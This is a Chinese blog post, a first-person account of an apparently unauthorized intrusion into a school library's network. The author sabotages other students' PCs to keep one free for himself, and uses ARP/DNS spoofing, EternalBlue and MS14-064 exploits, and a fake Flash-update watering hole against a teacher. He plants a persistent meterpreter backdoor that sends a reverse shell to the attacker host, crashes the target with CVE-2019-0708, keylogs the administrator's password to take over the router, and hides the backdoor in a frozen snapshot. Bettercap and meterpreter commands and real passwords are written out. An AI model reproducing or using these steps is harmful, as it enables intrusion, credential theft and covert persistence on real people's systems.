【渗透实战】记一次艰难的内网漫游第三期_我是如何拿下校园内网最高权限的
/文章作者:Kali_MG1937
CSDN博客:ALDYS4
QQ:3496925334
未经许可,禁止转载/
第四期:【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网
第二期:【渗透实战】记一次艰难的内网漫游第二期_我是如何让管理员乖乖交出监控权限的
学校新开了一个阅读广场先进去做个渗透测试吧
0x00信息收集
先了解图书馆的布局
如图所示,图书馆内有8台学生用机和一台管理员的机子
而使用电脑的地方正好是管理员的视线盲区
我选定了一个最佳的位置进行操作,如图绿色标记处
了解图书馆的开放时间:
中午11:30-13:45 有将近两个小时的操作时间,但是人也很多
下午17:30-18:15 有近一个小时的操作时间,不过这一个小时人很少
基本信息了解后就得考虑攻击方案了
首先是针对学校的系统镜像:
不管怎样,学校一定会选取win7作为系统镜像
所以就可以碰碰运气,
比如ms17010
IE浏览器漏洞CVE-2012-1875等等
但是需要注意:学校给管理员和用户机安装的win7镜像是不一样的
从何而知?我在第一次针对学校的内网漫游时我已经拿到了和信系统的管理权限,
并且知道在和信系统内有对镜像的区分,详看我的第一次内网漫游记录:
【渗透实战】记一次艰难的内网漫游之旅_拿下472台主机shell!
0x01权限维持
既然是图书馆,电脑用的人很多也很抢手
所以权限维持首先就要保证自己的机子能够使用
如何维持?
试想一下,如果图书馆里一台电脑,你没法上网,没法打开任何应用程序
那你会怎么做?大多数人都会试着修复电脑,若几分钟无果后就会下机
这样机子不就空出来了么
但在进行操作前还有一个问题:
学生用机统一安装了冰点还原软件
可以碰运气去试试网上的冰点还原密码破解软件(偶尔还是当当脚本小子吧 )
首先使用冰点还原的热键:Ctrl+Alt+F6把那只北极熊召唤出来
然而在这个图书馆里,你甚至连密码破解软件都不需要
这个图书馆连接的是无线网络,那么查看无线网络密码a12345678
条件反射地在冰点软件密码输入处也输入无线网络的密码
登入成功…
我已经懒得吐槽了,仍然是密码唯一性这个死不悔改的问题…
得到控制权后先解冻硬盘,然后利用本地安全策略中的软件限制策略限制了某些关键的应用程序
比如QQ和IE浏览器
接下来这台电脑的QQ和IE这两个主要的外网访问通道就没有了,
中午来的时候一看,周围的电脑全被占用,只有我那台空着,看来成功了
0x02内网漏洞发掘
权限问题搞定后就从U盘启动我的linux
这里先说一下
这个阅读广场的路由器会监控使用者的使用时长,若使用超过10分钟就会锁定5分钟,
因为win7策略限制无法更改ip,所以我使用linux时就得频繁更换地址
既然这种策略影响我玩电脑的话,就得先攻破路由器了
先查看本机的网络信息
打开路由管理界面
锐捷路由器,也就是我第一次内网漫游时攻破的路由器
尝试口令admin,无线密码a12345678和各种弱口令后均登入失败
在第一次漫游时发现的登入绕过漏洞也没用
在多次硬碰硬后最终无果,看来只能从别的地方下手了
0x03旁敲侧击
既然没法直接进入路由器,那就从管理员下手,
基于第一次攻击,我已经拿到全校教师的职位和身份,经过对比,
这个图书馆管理员正是信息安全组的其中一位教师
我要是和以前一样,走过去给他递一个U盘,或者骗他下载一个软件去运行,那我 包死
先找找管理员的网络地址,看看有什么线索
本机的子网掩码是255.255.0.0
这就意味着路由器可分配254*254个地址,看来直接找管理员的地址是大海捞针了
再看看连上的无线网络,和教师办公楼的网络是同一个
这就更难下手了,如果我操作不慎教师办公室可能也会遭殃,到时候就查到我头上来了
那么就换一种思路,下午图书馆也有一个小时的开馆时间
而且这个时候教师基本上都会走光,可是图书馆仍然有学生
那就嗅探这个时间段的流量,以此确定图书馆网络地址的具体分布情况
轮到bettercap上场bettercap -X
除去一些连上网络的手机,基本可以知道
在这个时间的,只有下面这个ip段还有流量发出
192.168.2.100-200
192.168.3.0-150
这个地址段绝对是图书馆机子所在的地址段
接着通过nmap扫描,nmap 192.168.2.0/24
nmap 192.168.3.0/24
发现这两个地址段分别扫描到5个主机和4个主机
正好是9台主机,也就是图书馆拥有的主机数量
0x04漏洞利用
nmap扫描结果中大部分ip打开445端口,考虑到学生用机的镜像基本上较老
所以优先考虑存在永恒之蓝漏洞的可能
打开metasploit
随便选一个地址开刀
确实存在永恒之蓝漏洞!
总之先劫持他们的屏幕,截个图看看怎么哪里都有车万厨啊kora!
看得出来,这绝对不是管理员用机
那么如何确定管理员用机在哪里呢?
总不能每个主机的漏洞都利用一遍,然后一个个屏幕看过去吧
注意,学生用机的镜像和管理员的镜像是不一样的
经过观察,我所在学校和信系统的管理员每隔一段时间都会更新一次镜像
而管理员镜像是更新最频繁的,最新一次更新时间在2019年7月23日
学生用机的镜像的更新时间停滞在2016年5月
如此频繁的更新想必是不存在ms17010漏洞
那么如果找到没有ms17010漏洞的主机很大可能就是管理员的主机了吧
利用msf的ms17010扫描模块扫描两个地址段
扫描完成之后仍然有4个IP是漏洞不可利用的
有两台在192.168.3.0-150地址段,还有两台在192.168.2.100-200地址段
范围已经极大限度的缩小了
接下来只要想出对这四个ip可能存在的漏洞进行利用的方法
0x05浏览器漏洞利用
虽然还有机子的ms17010漏洞没法利用,但我们知道管理员用机和学生用机的镜像是不同的
所以镜像自带的IE浏览器也可能不同,学生机只自带IE浏览器,管理员用机就不知道了
如果我找到学生机镜像的ie漏洞就可以通杀至少三台主机,这样剩下的就是管理员用机了
这里利用metasploit的两个自动化浏览器漏洞利用模块auxiliary/server/browser_autopwn2
auxiliary/server/browser_autopwn
通过本地虚拟机搭建和测试,最终发现MS14_064浏览器利用漏洞是可以利用在学生机上的!
果断在本地搭建起用于漏洞exploit的服务器,想个办法让受害者访问我的漏洞利用界面
仍然是利用arp欺骗工具bettercap
具体思路:利用bettercap的dns欺骗模块来使目标机访问我的服务器,我的服务器最终转跳至漏洞利用界面
在本地新建一个dns.conf文件,内容如下:
192.168.2.129 .*\.com
启动bettercap:bettercap -I wlan0 -T [target\'s ip] -G [gateway\'s ip] --dns dns.conf --proxy-https
欺骗目标机将所有网页dns重定向至192.168.2.129,并且在本地建立一个https服务器,导入bettercap自带的证书,以便目标在访问https网页时也被重定向至本机
(下面这张图是因为我的IP地址改动了,所以有所不同)
终于,有地址反弹了shell
不出我所料,有三台主机反弹了shell,还有一台访问了我的服务器却没有利用成功,那么这一台可以肯定就是管理员用机了
管理员用机IP:192.168.2.200
0x06水坑攻击
先用nmap扫描
没有任何端口打开,当然也不排除是防火墙阻止了nmap扫描
那怎么办?
现在学校的和信系统里查找这台主机
注意,在重启还原这一项里管理员用机是设置为重启还原的
我可以做一个猜想,因为管理员不希望机子中毒,所以冻结了硬盘,换句话说,管理员用机和学生用机一样是没有安装杀毒软件的必要的
所以渗透思路还是玩到烂的方法:在本机搭建一个服务器,接着重定向对方所有页面,诱导目标下载载荷并运行
可是问题来了,这个图书馆的管理员是信息安全组的教师,这种方法绝对会让管理员起疑心
所以在诱导下载这方面就要多下些功夫了
问题就是:如何让管理员相信我服务器显示的内容,并依照提示下载载荷
仍然先嗅探管理员的网络流量以便信息收集
可以看出管理员一直在访问腾讯视频这个网站
那么思路就有了
看视频需要什么插件?Flash插件,对于需要flash支持的网站,flash插件过期或出错是难免的
所以就需要更新或重新安装flash插件,如果我仅仅重定向某些视频网站,将他们转跳到我的服务器,接着我的服务器提醒管理员需要更新flash插件,那么管理员上钩的可能性就大大增加了
启动Apache2服务器
下载flash官网的首页
对内容进行一些更改,让管理员下载我的载荷文件
服务器打开,看看效果
服务器建好了,但是攻击工具不用之前ruby语言的bettercap,这回我采用官方最新的go语言版本的bettercap
,因为新版本的bettercap支持用JavaScript编写http代理模块,而ruby语言版本的只能用ruby写
不习惯ruby语法的我自然选新版本的bettercap了
关于如何编写bettercap代理模块,我前几期博客有介绍
【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script
【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写
通过分析管理员发送的网络流量可知,管理员最常上腾讯视频这个网站
那么就写一个脚本,若发现服务器发送给管理员的response中有腾讯视频的字眼就立刻重写response,让管理员访问我的服务器
启动bettercap,设置好相应的http代理模块和arp欺骗对象
set arp.spoof.targets 192.168.2.200
set http.proxy.script 代理文件绝对路径
set https.proxy.script 代理文件绝对路径
http.proxy on
https.proxy on
arp.spoof on
几分钟后,metasploit上出现了反弹信息
劫持屏幕,截图回传
不出所料,没有看到杀毒软件
0x07巧用微软3389漏洞CVE-2019-0708
管理员机子的权限终于拿到了
首先在和信系统里将管理员机子的重启还原关闭,在meterpreter下执行命令run persistence -X -i 10 -r 192.168.2.129 -p 4445
这个模块将在傀儡机上建立一个持久后门,开机自启,每10秒就向192.168.2.129这个地址的4445端口回弹shell
暂时能够维持权限了,可我们的最终目的并不是管理员机子的权限,而是路由器权限
既然拿到管理员权限,那就在管理员的电脑上找找有没有有用的东西
翻遍了整个机子的硬盘,只有一些关于图书馆建设的内容,还有一个关于系统重装的文件
按照提示登入ftp后发现确实只有镜像文件和一个u盘启动制作工具,其他文件均无访问权限,
ftp的账号密码也没法登入路由器,仿照密码构造几个弱口令也没法进入路由器,
而密码ydgc114581仅仅是学校建立图书馆的相关编号,和管理员的个人账号毫无关系,
这个文件暂时没有什么利用价值
不过仔细看看,ftp部署地址是10.10.0.2,和之前第一次漫游时攻破的sangfor防火墙是相关联的
图书馆连接的网络也是学校的办公网络,而学校的sangfor防火墙中的策略规定部分教师的电脑每次连接网络时都要进行单点认证登入
而这台管理员用机也是需要单点登入的,而部署这个路由器的人正好就是这个管理员
也就是说,我如果能嗅探到管理员单点登入时输入的信息或许就能猜出路由器的密码
只要让管理员断开网络就能让他重新进行认证登入
首先重置网络netsh winsock reset
然而netsh命令需要系统管理员权限,那就试试关机,仍然不行shutdown -r -t 0
通过whoami的信息得知,当前用户并不是administrator组的用户
那么现在的主要目的就是要让管理员的电脑关机或者重置网络
分析一下:管理员用机的镜像是在今年7月更新的,查找离这个时间最近的安全漏洞
是的,CVE-2019-0708于今年5月被发现,但到现在为止终究没有可以利用的exp流传开来
在exploit-db上搜索此漏洞
发现有两个关于这个漏洞的利用脚本,功能都是让主机蓝屏,那就试试看管理员的机子有没有这种漏洞吧
先加载getgui模块让管理员的机子开启3389端口run getgui -e
接着下载第一个ruby脚本并导入metasploit
exploit!
The host is crashed!漏洞被成功利用,看看管理员的屏幕,蓝蓝一片,msf也断开了连接
接下来在msf重新监听端口回弹,目标成功上线后启用键盘捕捉模块keyscan_start
成功dump到管理员密码!
利用dump到的密码登入路由器
啊~久违的管理页面
0x08后渗透阶段-权限维持
现在我已经有了一个可用的持久后门,可是这是在关闭了重启还原的情况下得到的持久权限
关闭了重启还原,管理员迟早要察觉到异样,可是如果开启还原,电脑就会依据和信系统设置的系统快照恢复电脑,到时候拿到的shell就没了…
与其说如何让管理员不察觉到异样,不如说如何让电脑还原后仍然存在后门
那就不要用和信系统的还原策略,我记得学校ftp里有冰点还原和注册码,干脆就用这个冻结管理员的机子,并让存在后门的系统作为快照
在管理员不在机子前的时候登入3389,安装冰点还原
安装完成后冻结硬盘
重启后msf仍然能接受到shell,系统也成功依照设置的快照被还原